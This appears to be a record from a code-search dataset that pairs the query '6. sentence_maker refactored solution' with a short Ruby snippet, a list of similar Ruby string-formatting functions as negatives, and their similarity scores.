"def sentence_maker(words)\n sentence = \"\"\n words.each { |word|\n word = word.to_s\n if word == words.first.to_s #cap if word is first in sentence\n sentence << (word.capitalize)\n else\n sentence << word\n end\n\n if word == words.last #period after last word, otherwise space\n sentence << \".\"\n else\n sentence << \" \"\n end\n }\n sentence\nend",
"def sentence_maker(words)\n return words.join(\" \").capitalize << \".\"\nend",
"def sentence_maker(string)\n string.join(\" \").capitalize << \".\"\nend",
"def sentence_maker (strings)\n\njoin_strings = String.new\n\n strings.each { |string| join_strings += \" \" + \"#{string}\"}\n join_strings[0] = \"\"\n join_strings[0] = join_strings[0].capitalize\n return join_strings + \".\"\n\nend",
"def sentence_maker(words)\n words = words.join(' ').capitalize + \".\"\nend",
"def sentence_maker(words)\n\twords.join(\" \").capitalize << \".\"\nend",
"def sentence_maker(words)\n sentence = ''\n words[0].capitalize!\n words.each do |x|\n sentence = sentence + x.to_s + ' '\n end\n sentence = sentence.chop + \".\"\nend",
"def sentence_maker(a_single_argument)\n output = a_single_argument.join(\" \")\n output += \".\"\n return output.capitalize!\nend",
"def sentence_maker(my_sentence)\n result=my_sentence.shift\n my_sentence.each { |x| result= result + \" \" + x.to_s }\n result=result + \".\"\n result.capitalize!\n end",
"def sentence_maker(strings)\n\n new_string = strings[0]\n i = 1\n while i < strings.length\n new_string = new_string + \" \" + strings[i].to_s\n i += 1\n end\n new_string = new_string + \".\"\n return new_string.capitalize\nend",
"def sentence_maker(words)\r\n\tsentence = ''\r\n\ti = 0\r\n\r\n\twhile i < words.length\r\n\t\tif i == 0 \r\n\t\t\tsentence = sentence + words[i].to_s.capitalize + ' '\r\n\t\t\ti += 1\r\n\t\telsif i == (words.length - 1)\r\n\t\t\tsentence = sentence + words[i].to_s + '.'\r\n\t\t\ti += 1\r\n\t\telse\r\n\t\t\tsentence = sentence + words[i].to_s + ' '\r\n\t\t\ti += 1\r\n\t\tend\r\n\tend\r\n\tp sentence\r\nend",
"def sentence_maker(my_sentence)\n result=my_sentence.join(\" \")\n result=result.capitalize + \".\"\n end",
"def sentence_maker(words)\n\n i = 0\n sentence = ''\n\n while i < words.length\n if i == 0\n sentence = sentence + words[0].to_s.capitalize + ' '\n end\n if i == words.length - 1\n sentence = sentence + words[(words.length - 1)].to_s + '.'\n end\n if (i != words.length - 1) && i != 0\n sentence = sentence + words[i].to_s + ' '\n end\n i += 1\n end\n return sentence\nend",
"def sentence_maker(words)\n sentence = \"\"\n words.each { |word| sentence << word.to_s + \" \"}\n sentence = sentence.chomp(\" \") << \".\"\n return sentence.capitalize\nend",
"def sentence_maker(strings)\n sentance = \"\"\n strings.each do |word|\n sentance += word.to_s + \" \"\n end\n sentance.strip!\n sentance.capitalize + \".\"\n\nend",
"def sentence_maker(words)\n if words.size != 0\n sentence = \"\"\n for w in 0...words.size\n word = words[w]\n if (word.is_a? String)\n sentence += word + \" \"\n else\n sentence += word.to_s + \" \"\n end\n end\n sentence.chomp!(\" \")\n sentence += \".\"\n sentence.downcase!\n sentence.capitalize!\n return sentence\n end\nend",
"def sentence_maker(s_array)\n\n if s_array.empty? == true\n\n puts \"Array is empty add some values\"\n\n else\n\n p s_array.join(' ').capitalize + '.'\n\n end\nend",
"def sentence_maker(array)\n\tx = 0\n\tsum = \"\"\n\n\t\twhile x < (array.length - 1)\n\t\t\tsum += array[x].concat \" \" \n\t\t\tx += 1\n\t\tend \n\t\t\tsum += array[x].concat \".\" \n\treturn sum\n\nend",
"def sentence_maker(strings)\n concat = \"\"\n strings.each do |n|\n concat << n.to_s + \"\"\n concat = concat.chomp(\" \") << \".\"\n end\n return concat.capitlize\nend",
"def sentence_maker(words)\n\tstring = \"\"\n\twords.each do |x|\n\t\tstring = string + x.to_s + \" \"\n\tend\n\treturn string.capitalize.strip + \".\"\nend",
"def sentence_maker(a)\n\tsum = \"\"\n\ta.each {|a| sum += (a + \" \")}\n\n\treturn sum.chomp(\" \").capitalize + \".\"\nend",
"def sentence_maker(string)\n\tstring[0] = string[0].capitalize\n\tphrase = ''\n\tstring.each do |word|\n\t\tphrase = phrase + word.to_s + ' '\n\tend\n\tphrase = phrase.chop\n\tphrase = phrase + '.'\n\treturn phrase\nend",
"def sentence_maker(a_single_argument)\n items = a_single_argument.count.to_i\n output = a_single_argument.values_at(0..(items-1)).join(\" \").capitalize\n return output + \".\"\nend",
"def sentence_maker(words)\n\tif words.size != 0\n\t\tsentence = \"\"\n\t\tfor w in 0...words.size\n\t\t\tword = words[w]\n\t\t\tif (word.is_a? String)\n\t\t\t\tsentence += word + \" \"\n\t\t\telse\n\t\t\t\tsentence += word.to_s + \" \"\n\t\t\tend\n\t\tend\n\t\tsentence.chomp!(\" \")\n\t\tsentence += \".\"\n\t\tsentence.downcase!\n\t\tsentence.capitalize!\n\t\treturn sentence\n\tend\nend",
"def reverberate(sent)\n new_arr = []\n words_arr = sent.split(\" \")\n vowels = \"aeiouAEIOU\"\n words_arr.each do |word|\n capt = false\n if word.capitalize == word\n capt = true\n end\n if word.length < 3\n new_arr << capt ? word.capitalize : word #new_arr << capt ? word.capitalize : word\n elsif vowels.include?(word[-1])\n new_arr << (capt ? (word * 2).capitalize : word * 2)\n elsif !vowels.include?(word[-1])\n rev_index = word.chars.reverse.index { |char| vowels.include?(char) }\n i = word.length - 1 - rev_index\n new_arr << (capt ? (word + word[i..-1]).capitalize : word + word[i..-1])\n end\n end\n new_arr.join(\" \")\nend",
"def make_sentence(array) \n\tsentence = \"\"\n\tarray.each do |mini_arrays|\n mini_arrays.each do |element|\n sentence << \"a#{element}a \"\n end\n end \n \n\tsentence\n end",
"def preform\n length = @sentence.length - 1\n u = 1\n puts @sentence\n for i in (0..length) do\n u == 1 ? @sentence[i] = @sentence[i].upcase : @sentence[i] = @sentence[i].downcase\n u = u*(-1)\n end\n puts @sentence\n end",
"def titleize sentence\n\n\tif(sentence.split.length == 1)\n\t\treturn sentence.capitalize\n\tend\n\n\n sen = sentence.split().map {|x| x.capitalize}\n\tif sen.length == 2\n\t\treturn sen.join(\" \")\n\tend\n second = sen[1...sen.length-1].map do |x|\n \tif x.length < 5\n \t\tx.downcase\n \telse\n \t\tx.capitalize\n \tend\n end\n\n sen[0] + \" \" +second.join(\" \") + \" \" + sen[-1]\n\nend",
"def sentence_maker(variable)\n\treturn variable.inject{|sentence, x| sentence + \" \" + x.to_s}.lstrip.capitalize + \".\"\nend",
"def recombiner (array_of_char)\n new_name = array_of_char.join.split(' ').reverse\n new_name.map! do | words |\n words.capitalize\n end\n new_name.join(' ')\nend",
"def acronymize(sentence)\n # Solution 1: Using .each\n\n words = sentence.split\n acroynm = \"\"\n\n words.each do |word|\n acroynm << word[0].upcase\n end\n\n return acroynm\nend",
"def acronymize(sentence)\n sentence.split.map { |word| word[0].upcase }.join\n # split the sentence into an array\n # need to iterate over the words\n # take the first letter from each word and place into array\n # array into string, then .upcase(should be gud. its ok)\nend",
"def titleize (string)\nstring.capitalize! # capitalize the first word in case it is part of the no words array\n words_no_cap = [\"and\", \"or\", \"the\", \"over\", \"to\", \"the\", \"a\", \"but\"]\n phrase = string.split(\" \").map {|word| \n if words_no_cap.include?(word) \n word\n else\n word.capitalize\n end\n }.join(\" \") # I replaced the \"end\" in \"end.join(\" \") with \"}\" because it wasn't working in Ruby 2.1.1\n phrase # returns the phrase with all the excluded words\nend",
"def capitalize_words(string)\n\t\n\t#split up string into old array of words \n\told_words_array = string.split\n\t\n\t#set up new array of words \n\tnew_words_array = []\n\t\n\t#loop to go through each word\n\ti = 0 \n\twhile (i < old_words_array.length)\n\t\n\t\t#separate each word into characters\n\t\tchars = old_words_array[i].scan /\\w/\n\t\t\n\t\t#shift off first char \n\t\tfirst_char = chars.shift\n\t\t\n\t\t#make first char uppercase \n\t\tfirst_char = first_char.upcase\n\t\t\n\t\t#join first char with the rest of the chars \n\t\tchars = chars.unshift(first_char)\n\t\t\n\t\t#make the chars back into a string \n\t\tcapitalized_word = chars.join\"\"\n\t\t\n\t\t#put the string into new words array of strings \n\t\tnew_words_array.push(capitalized_word)\n\t\t\n\t\t#increase i \n\t\ti += 1 \n\t\n\tend\n\t\n\t#join new words array back into single string\n\treturn new_words_array.join(\" \")\n\t\nend",
"def titleize(s)\n my_words = s.split(\" \")\n cap_sentence = \"\"\n my_words.each {|w| cap_sentence << w.capitalize << \" \"} \n cap_sentence.chop\n\nend"
] |
[
"0.8601385",
"0.8530494",
"0.8483632",
"0.84825075",
"0.8474188",
"0.84703845",
"0.8470044",
"0.8464469",
"0.84567046",
"0.8453144",
"0.8449295",
"0.8447128",
"0.8447128",
"0.843675",
"0.84342337",
"0.8427202",
"0.8397537",
"0.83938146",
"0.8388802",
"0.83871686",
"0.83865803",
"0.83865803",
"0.8378259",
"0.8375625",
"0.8364208",
"0.8356934",
"0.8351091",
"0.83457774",
"0.8336088",
"0.83304185",
"0.83135396",
"0.8301203",
"0.82782024",
"0.8269019",
"0.82638884",
"0.8259226",
"0.8258838",
"0.8254366",
"0.82535934",
"0.8241666",
"0.82367146",
"0.82356924",
"0.82335764",
"0.82285804",
"0.82177114",
"0.8202284",
"0.81861675",
"0.8172583",
"0.8172583",
"0.8172583",
"0.81702113",
"0.81651676",
"0.81478125",
"0.81394047",
"0.80918914",
"0.80896044",
"0.80876994",
"0.80731684",
"0.8061254",
"0.8056346",
"0.7939311",
"0.78926736",
"0.78903043",
"0.7753156",
"0.7742592",
"0.7734692",
"0.7734606",
"0.7724503",
"0.77205735",
"0.7687187",
"0.7682221",
"0.76811296",
"0.7649385",
"0.7646046",
"0.76166934",
"0.7596447",
"0.75870216",
"0.7570006",
"0.75346935",
"0.74249804",
"0.740092",
"0.7392886",
"0.73520994",
"0.73329",
"0.72789276",
"0.7259143",
"0.7216258",
"0.7183818",
"0.71269774",
"0.7007575",
"0.6995569",
"0.6983832",
"0.69293237",
"0.69034225",
"0.6893306",
"0.684632",
"0.68170476",
"0.67909867",
"0.67324877",
"0.6724584"
] |
0.8275823
|
33
|
6. sentence_maker refactored solution
|
def sentence_maker(array_of_strings)
p array_of_strings.join(' ').capitalize + "."
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def\n \nend\n\n\n# 6. sentence_maker refactored solution",
"def generate_sentence\n\n if @array_words.length < 3\n return \"Length of the input_file is too small to produce trigrams\"\n\n # This function results in an error message if there are no capital\n # words or no end of sentence punctutation in the input file.\n elsif (@end_of_sentence_punctutation == 0) or (@sentence_starters.length == 0)\n return \"End of sentence punctuation or sentence starters or both not found in the text!\"\n end\n\n # Based on a random key from the sentence_starters array, which contains\n # all the keys for the hash that start with a capital word a new key is\n # randomly chosen. Words that follow the key are randomly generated\n # based on probilitity. As soon as an end of sentence punctuation is\n # seen the process of generating words that follow a constantly chaging\n # key stops and the sentence is output. Uses the same process to\n # generate following words as the generate_text method. If end of\n # sentence punctutation is found in the starting key, words until the\n # end of sentence punctuation are returned. If the only end of sentence\n # punctuation is found in the first 2 words of the sentence, the program\n # will return an error message.\n key = @sentence_starters.sample\n\n if key.split[0][-1] =~ /[.|!|?]/\n return key.split[0]\n elsif key.split[1][-1] =~ /[.|!|?]/\n return key\n end\n\n sentence = key\n until sentence[-1] =~ /[!|.|?]/ do\n if @trigrams[key] == nil\n key = @trigrams.keys.sample\n end\n\n following_word = @trigrams[key].sample\n sentence += \" #{following_word}\"\n key = \"#{key.split[1]} #{following_word}\"\n \n end\n\n return sentence\n end",
"def sentence_maker(my_sentence)\n result=my_sentence.shift\n my_sentence.each { |x| result= result + \" \" + x.to_s }\n result=result + \".\"\n result.capitalize!\n end",
"def wookiee_sentence; end",
"def wookie_sentence; end",
"def sentence_maker(words)\n if words.size != 0\n sentence = \"\"\n for w in 0...words.size\n word = words[w]\n if (word.is_a? String)\n sentence += word + \" \"\n else\n sentence += word.to_s + \" \"\n end\n end\n sentence.chomp!(\" \")\n sentence += \".\"\n sentence.downcase!\n sentence.capitalize!\n return sentence\n end\nend",
"def sentence_maker(words)\n\n i = 0\n sentence = ''\n\n while i < words.length\n if i == 0\n sentence = sentence + words[0].to_s.capitalize + ' '\n end\n if i == words.length - 1\n sentence = sentence + words[(words.length - 1)].to_s + '.'\n end\n if (i != words.length - 1) && i != 0\n sentence = sentence + words[i].to_s + ' '\n end\n i += 1\n end\n return sentence\nend",
"def sentence_maker(words)\n\tif words.size != 0\n\t\tsentence = \"\"\n\t\tfor w in 0...words.size\n\t\t\tword = words[w]\n\t\t\tif (word.is_a? String)\n\t\t\t\tsentence += word + \" \"\n\t\t\telse\n\t\t\t\tsentence += word.to_s + \" \"\n\t\t\tend\n\t\tend\n\t\tsentence.chomp!(\" \")\n\t\tsentence += \".\"\n\t\tsentence.downcase!\n\t\tsentence.capitalize!\n\t\treturn sentence\n\tend\nend",
"def sentence\n\t\t@markov.generate_100_words\n\tend",
"def sentence_maker(array_of_strings)\n\t# Declare new sentence variable and set to \"\"\n\tsentence = \"\"\n\t# Capitalize first word in array\n\tarray_of_strings[0].to_s.capitalize!\n\t# For each member of array_of_strings, add to the sentence variable (converting to string)\n\tfor num in 0..(array_of_strings.length - 1)\n\t\t\tsentence += array_of_strings[num].to_s\n\t\t# unless the member of the array is the last member of array_of_strings_, add a space after the word\n\t\tunless num == (array_of_strings.length - 1)\n\t\t\tsentence += \" \"\n\t\tend\n\tend\n\t# End the sentence variable with a period\n\tsentence += \".\"\n\t# Return the sentence variable\n\treturn sentence\nend",
"def sentence_maker(string)\n\tsentence = \"\"\n\tstring.each do |word|\n\t\tsentence += word.to_s + \" \"\n\tend\n\treturn full_sentence(sentence)\nend",
"def sentence_maker(strings)\n sentance = \"\"\n strings.each do |word|\n sentance += word.to_s + \" \"\n end\n sentance.strip!\n sentance.capitalize + \".\"\n\nend",
"def sentence_maker(words)\n sentence = \"\"\n words.each { |word|\n word = word.to_s\n if word == words.first.to_s #cap if word is first in sentence\n sentence << (word.capitalize)\n else\n sentence << word\n end\n\n if word == words.last #period after last word, otherwise space\n sentence << \".\"\n else\n sentence << \" \"\n end\n }\n sentence\nend",
"def sentence_maker_refactored(words)\n words.first.capitalize!\n words.join(\" \") + \".\"\nend",
"def generate_sentence\n # Splitting into an array is required for easily preventing duplicate vals\n sent = Drama::Constants::SENTENCES.sample.split(/\\s/)\n sent.each do |w|\n num = sent.index(w)\n sent[num] = w % {\n things: Drama::Constants::THINGS.sample,\n sites: Drama::Constants::SITES.sample,\n people: Drama::Constants::PEOPLE.sample,\n says: Drama::Constants::SAYS.sample,\n badsoft: Drama::Constants::BADSOFT.sample,\n function: Drama::Constants::FUNCTIONS.sample,\n adj: Drama::Constants::ADJECTIVES.sample,\n enormous: Drama::Constants::SIZES.sample,\n price: Drama::Constants::PRICES.sample,\n ac1: Drama::Constants::BADVERBS.sample,\n packs: Drama::Constants::PACKS.sample,\n drama: Drama::Constants::DRAMA.sample,\n code: Drama::Constants::CODE.sample,\n ban: Drama::Constants::BANS.sample,\n activates: Drama::Constants::ACTIVATES.sample\n }\n end\n\n # add_a_drama\n sent.join(' ')\n end",
"def sentence_maker (strings)\n\njoin_strings = String.new\n\n strings.each { |string| join_strings += \" \" + \"#{string}\"}\n join_strings[0] = \"\"\n join_strings[0] = join_strings[0].capitalize\n return join_strings + \".\"\n\nend",
"def yell_sentence(sent)\n\nend",
"def process_sentence(msg)\n\n words = msg.split(/\\s+/)\n has_emotion = []\n\n words.each_with_index do |em,i|\n if i > 0 and @emotions.include? em\n has_emotion[i-1] = @emotions.index(em)\n words.delete_at(i)\n end\n end\n\n #msg = msg.sub(/\\b*\\s+\\W\\s+\\b*/,'')\n\n #nouns = get_context(message)\n nouns = @brain.get_topic(msg)\n\n\n\n # Loop through all words, with the index, to access elements properly\n words.each_with_index do |word,i|\n\n word.downcase!\n # We cant pair the first word, because it doesn't follow any word,\n # so instead we pair each word after the first to the previous word\n if i > 0\n\n pair_words(words[i-1],word,{ context: nouns })\n puts \"CALL # #{i}\"\n\n # Pairs emoticons to our newly created pair\n unless has_emotion.at(i) == nil\n @pair_emotion.execute(has_emotion.at(i))\n end\n end\n if i > 1\n tripair_words(words[i-2], words[i-1], word)\n\n unless has_emotion.at(i) == nil\n @tripair_emotion.execute(has_emotion.at(i),has_emotion.at(i))\n end\n end\n end\n end",
"def make_sentence parts\n # Join the strings to create a sentence\n # Add spaces after commas and end with a period\n parts.join(' ').gsub(/\\s[,.]/,\" ,\" => \",\", \" .\" => \"\") << \".\"\nend",
"def sentence_maker(array)\n sentence = \"\"\n array.each do |x|\n sentence = sentence + x.to_s + \" \"\n end\n\n sentence[0] = sentence[0].upcase\n sentence = sentence.rstrip\n sentence = sentence + \".\"\n return sentence\n\nend",
"def sentence_maker(words)\n\tstring = \"\"\n\twords.each do |x|\n\t\tstring = string + x.to_s + \" \"\n\tend\n\treturn string.capitalize.strip + \".\"\nend",
"def typoglycemiaSentence(input)\n words = input.split(' ')\n words.map! { |x| typoglycemiaWord(x) }\n words.join(\" \")\nend",
"def sentence_maker(strings)\n concat = \"\"\n strings.each do |n|\n concat << n.to_s + \"\"\n concat = concat.chomp(\" \") << \".\"\n end\n return concat.capitlize\nend",
"def sentence; end",
"def get_words\n @sentences.each_index do |i|\n s = @sentences[i]\n words = s.split(' ')\n words.each do |w|\n word = w.gsub(WORD_SANITIZE, '').downcase\n if belongs_to_known_abbreviations? word\n add_word_to_result(word, i)\n else\n add_word_to_result(word.gsub(DOT_SANITIZE, ''), i)\n end\n end\n end\n end",
"def sentence_maker(x)\n\tx.join(\" \")\nend",
"def test_String_003_ToSentence\n \n puts2(\"\")\n puts2(\"#######################\")\n puts2(\"Testcase: test_String_003_ToSentence\")\n puts2(\"#######################\")\n \n \n puts2(\"\\nA specific string...\")\n sString = \"oNCE UPON a time Long ago and far away\"\n puts2(\"\\n String: \" + sString)\n sSentence = sString.to_sentence\n puts2(\" Sentence: \" + sSentence)\n \n puts2(\"\\nFour sets of 2 pseudo words as sentences...\")\n 4.times {\n sString = random_pseudowords(2,10)\n puts2(\"\\n String: \" + sString)\n sSentence = sString.to_sentence\n puts2(\" Sentence: \" + sSentence)\n }\n \n puts2(\"\\nTwo sets of 3 pseudo words ending in a period as sentences...\")\n 2.times {\n sString = random_pseudowords(3,10) + \".\"\n puts2(\"\\n String: \" + sString)\n sSentence = sString.to_sentence\n puts2(\" Sentence: \" + sSentence)\n }\n \n puts2(\"\\nTwo sets of 4 pseudo words ending in a exclamation point as sentences...\")\n 2.times {\n sString = random_pseudowords(4,10) + \"!\"\n puts2(\"\\n String: \" + sString)\n sSentence = sString.to_sentence\n puts2(\" Sentence: \" + sSentence)\n }\n \n puts2(\"\\nTwo sets of 5 pseudo words ending in a question mark as sentences...\")\n 2.times {\n sString = random_pseudowords(5,10) + \"?\"\n puts2(\"\\n String: \" + sString)\n sSentence = sString.to_sentence\n puts2(\" Sentence: \" + sSentence)\n }\n \n end",
"def sentence(word_count: T.unsafe(nil), random_words_to_add: T.unsafe(nil), open_compounds_allowed: T.unsafe(nil)); end",
"def sentence_maker(words)\n sentence = ''\n words[0].capitalize!\n words.each do |x|\n sentence = sentence + x.to_s + ' '\n end\n sentence = sentence.chop + \".\"\nend",
"def sentence_maker(array)\n str_array = array.collect{|i| i.to_s} #collect method returns entire array or hash; we are converting all elements of array into string\n sentence = array[0] #converts first element of array into new array\n sentence[0] = str_array[0][0].upcase #makes first letter uppercase\n str_array.shift\n\tstr_array.each { |i| sentence = sentence + \" \" + i.to_s}\n\treturn sentence + \".\"\nend",
"def sentence_maker(my_sentence)\n result=my_sentence.join(\" \")\n result=result.capitalize + \".\"\n end",
"def sentence(word_count: T.unsafe(nil), supplemental: T.unsafe(nil), random_words_to_add: T.unsafe(nil), open_compounds_allowed: T.unsafe(nil)); end",
"def sentence_maker(array_of_strings)\n result = \"\"\n last_word = array_of_strings.pop\n array_of_strings.each do |word|\n result += word.to_s + \" \"\n end\n result += last_word + \".\"\n return result.capitalize!\nend",
"def word_yeller(sentence)\n\n\nend",
"def sentence_maker(words)\r\n\tsentence = ''\r\n\ti = 0\r\n\r\n\twhile i < words.length\r\n\t\tif i == 0 \r\n\t\t\tsentence = sentence + words[i].to_s.capitalize + ' '\r\n\t\t\ti += 1\r\n\t\telsif i == (words.length - 1)\r\n\t\t\tsentence = sentence + words[i].to_s + '.'\r\n\t\t\ti += 1\r\n\t\telse\r\n\t\t\tsentence = sentence + words[i].to_s + ' '\r\n\t\t\ti += 1\r\n\t\tend\r\n\tend\r\n\tp sentence\r\nend",
"def sentence_maker(strings)\n\n new_string = strings[0]\n i = 1\n while i < strings.length\n new_string = new_string + \" \" + strings[i].to_s\n i += 1\n end\n new_string = new_string + \".\"\n return new_string.capitalize\nend",
"def sentence_maker(arr)\n output = \"\"\n arr.each do |word|\n output += (word.to_s + \" \")\n end\n output.capitalize.strip + \".\" \nend",
"def sentence_maker(arr)\n output = \"\"\n arr.each do |word|\n output += (word.to_s + \" \")\n end\n output.capitalize.strip + \".\" \nend",
"def sentence_maker(arr)\n output = \"\"\n arr.each do |word|\n output += (word.to_s + \" \")\n end\n output.capitalize.strip + \".\" \nend",
"def generate_sentence(sentencecount, that_starts_with: nil)\n if @dictionary.dictionary.empty?\n raise EmptyDictionaryError.new(\"The dictionary is empty! Parse a source file/string!\")\n end\n sentence = []\n # Find out how many actual keys are in the dictionary.\n key_count = @dictionary.dictionary.keys.length\n # If less than 30 keys, use that plus five as your maximum sentence length.\n maximum_length = key_count < 30 ? key_count + 5 : 30\n sentencecount.times do\n wordcount = 0\n if that_starts_with.nil?\n sentence.concat(random_capitalized_word)\n else\n sentence.concat(that_starts_with)\n if weighted_random(sentence.last(@depth)).nil?\n last_word_is_prefix = entries_starting_with(sentence.last)\n if last_word_is_prefix.empty?\n sentence.concat(random_word)\n else\n sentence.concat(last_word_is_prefix.sample[1..-1])\n end\n end\n end\n\n until (punctuation?(sentence.last[-1])) || wordcount > maximum_length\n wordcount += 1\n word = weighted_random(sentence.last(@depth))\n if punctuation?(word)\n sentence[-1] = sentence.last.dup << word\n else\n sentence << word\n end\n end\n end\n sentence.join(' ')\n end",
"def make_sentence parts\n index = 1\n parts.delete('.')\n string = parts.join(' ') + '.'\n if string.include?(\" ,\")\n string.gsub!(\" ,\", \",\")\n end\n string\nend",
"def sentence_maker(sentence)\n sentence[0] = sentence[0].capitalize\n sentence.join(\" \") + \".\"\nend",
"def get_sentences\n # Get initial letters of sentences.\n initial_letters = @text.scan(SENTENCE_DELIMITER).map {|i| i[-1]}\n # Get sentences by splitting text with the pattern. \n # Sentences from index 1 to end are without initial letters.\n @sentences = @text.split(SENTENCE_DELIMITER)\n # Add the initial letters back to the sentences.\n (1...@sentences.length).each do |i|\n @sentences[i] = initial_letters[i - 1] + @sentences[i]\n end\n end",
"def generate_sentence\n current_words = Array.new(depth)\n sentence_array = []\n loop do\n new_word = current_words.last\n sentence_array.push new_word if new_word\n break if end_word?(new_word)\n next_word_options = @dictionary[current_words]\n if next_word_options.empty? && !end_word?(new_word)\n new_word.concat('.')\n break\n end\n next_word = next_word_options.sample\n current_words.push next_word\n current_words.shift\n end\n sentence_array.join(' ')\n end",
"def translate(sentence)\n #we .split that sentence. Because we do not give a limit, the sentence is automaticly split along the spaces.\n #we .map the result of the .split to make every word in the array a variable= word.\n sentence.split.map do |word|\n #We define what the first vowel of the word is by a different method (first_vowel) and assign it as variable v\n v = first_vowel(word)\n # we slice of the first vowel and the letter preceding that. then we add the first letter of the word at the end, and add +ay\n word.slice(v..-1) + word[0,v] + \"ay\"\n #We end the function and join the retunring array with spaces in between.\n end.join(\" \")\n end",
"def sentence_maker ( strArray )\r\n\r\n\tanswer = ''\r\n\r\n\tstrArray.each do |thisStr|\r\n\t\tanswer += thisStr.to_s + ' '\r\n\tend\r\n\r\n\tanswer.slice!(answer.length-1)\r\n\r\n\tanswer += '.'\r\n\r\n\treturn answer.capitalize!\r\n\r\nend",
"def reflect(sentence)\n # TODO\nend",
"def sentence_maker(words)\n sentence = \"\"\n words.each { |word| sentence << word.to_s + \" \"}\n sentence = sentence.chomp(\" \") << \".\"\n return sentence.capitalize\nend",
"def sentence_maker(word_array)\n\tsentence = word_array.join(\" \")\n\treturn sentence.capitalize + \".\"\nend",
"def sentence_maker(array)\n sentence = array[0].capitalize\n for w in 1...array.length\n sentence = sentence + \" \" + array[w].to_s\n end\n return sentence + \".\"\nend",
"def each \n if @array_words.length < 3\n return \"Length of the input_file is too small to produce trigrams\"\n end\n \n sentence = generate_sentence\n 0.upto(sentence.split.length - 1) do |x|\n yield sentence.split[x]\n end\n return sentence\n end",
"def sentence_maker(arr)\n string = \"\"\n i = 1\n while i < arr.length-1\n string += arr[i].to_s + ' '\n i+=1\n end\n sentence = arr[0].capitalize! + \" \" + string + arr[-1] + \".\"\n return sentence\nend",
"def split_sentences\n #break text first by paragraph then into chunks delimited by a period\n #but these are not quite sentences yet\n chunks = (self.split(/\\n+/).map { |p| \"#{p}\\n\".split(/\\.(?:[^\\w])/) }).flatten.compact\n \n #if a sentence is split at Mr.|Ms.|Dr.|Mrs. \n #then recombine it with its remaining part and nil it to delete later\n tmp=''\n sentences = chunks.map { |c|\n ss = (tmp != '')? \"#{tmp}. #{c}\" : c\n if c.match(/(?:Dr|Mr|Ms|Mrs)$/) #what about John F. Kennedy ([A-Z])\n tmp = ss\n ss=nil\n else\n tmp = ''\n end\n ss\n } \n sentences.compact #delete nil elements\n end",
"def sentence_maker(string_array)\nnew_string = \"\"\nnew_array = []\n\nstring_array.each do |string|\n if string != string_array[-1]\n new_string += string.to_s + \" \"\n else\n new_string += string.to_s\n end\n \n new_array.push(new_string)\nend\nreturn new_array[-1].capitalize + \".\"\nend",
"def sentence_maker(a_single_argument)\n items = a_single_argument.count.to_i\n output = a_single_argument.values_at(0..(items-1)).join(\" \").capitalize\n return output + \".\"\nend",
"def a_turn_of_phrase(sentence)\n # code goes here\nend",
"def tokenize(sentence_text)\n\n if sentence_text.nil? or sentence_text.length < 1\n raise ArgumentError.new \"Tried to tokenize invalid text for Sentence %d\" % self.id\n end\n\n words_list, notwords_list = separate_words_from_nonword_characters(sentence_text)\n\n find_or_create_words_in(words_list)\n\n # do this one last because it destroys the arrays (via shift)\n create_word_template!(words_list, notwords_list)\n\n raise AssertionError \"Sentence didn't create word template!\" unless defined?(self.word_template) && (self.word_template != '')\n\n self.save\n end",
"def sentence_maker(word_array)\n sentence = word_array.inject(\" \"){|words,element| words += element.to_s + \" \"}\n sentence.strip!.capitalize!\n sentence << \".\"\nend",
"def sentence_maker(words)\n return words.join(\" \").capitalize << \".\"\nend",
"def paragraph(\n word_count: rand(DEFAULT_WORD_COUNT_RANGE),\n sentence_count: rand(DEFAULT_SENTENCE_COUNT_RANGE),\n fillers: dictionnary.fillers\n )\n sentence_count = 0 if sentence_count.negative?\n paragraph = []\n sentence_count.times do\n s = sentence(word_count: word_count, fillers: fillers)\n paragraph << s unless s.empty?\n end\n paragraph.join(' ')\n end",
"def sentence_maker(strings)\n return strings.join(' ').capitalize + '.'\nend",
"def sentence_maker(words)\n words = words.join(' ').capitalize + \".\"\nend",
"def valid_sentence(string, dictionary)\n #Create a global variable to be able to access throughout\n $process = {}\n final_sentences = []\n sentences(string, dictionary).each do |array|\n set = array.split(\" \")\n if dictionary_words?(set) && verb_present?(set) && noun_articles_present?(set)\n final_sentences << array\n end\n end\n final_sentences.sort!\n end",
"def reverberate(sentence)\n new_sentence = []\n\n sentence.split(' ').each do |word|\n if word.length > 2\n new_sentence << reverberated(word)\n else\n new_sentence << word\n end\n end\n new_sentence.join(' ')\nend",
"def sentence_maker (array)\n sentence = \"\"\n array.each do |i|\n sentence = sentence + i.to_s + \" \"\n end\n sentence = sentence.capitalize.chop + \".\"\nend",
"def sentence_maker(arraystring)\n fullsentence = ''\n length_of_arraystring = arraystring.length\n current_index_of_array = 0\n while current_index_of_array < length_of_arraystring\n if current_index_of_array == 0\n word = arraystring[current_index_of_array].to_s.capitalize\n fullsentence = fullsentence + word + ' '\n\n elsif current_index_of_array == length_of_arraystring - 1\n word = arraystring[current_index_of_array].to_s\n fullsentence = fullsentence + word + '.'\n else\n word = arraystring[current_index_of_array].to_s\n fullsentence = fullsentence + word + ' '\n end\n current_index_of_array = current_index_of_array + 1\n\n end\n# puts fullsentence\n return fullsentence\nend",
"def sentence_maker(array)\n combination = \"\"\n array[0].capitalize!\n array.each {|x| combination = combination + x.to_s + \" \"}\n combination.rstrip!\n combination = combination + \".\"\n return combination\nend",
"def sentence_maker(a)\n\ta[0] = a[0].capitalize\n\tstring = a.join(\" \")+\".\"\n\treturn string\nend",
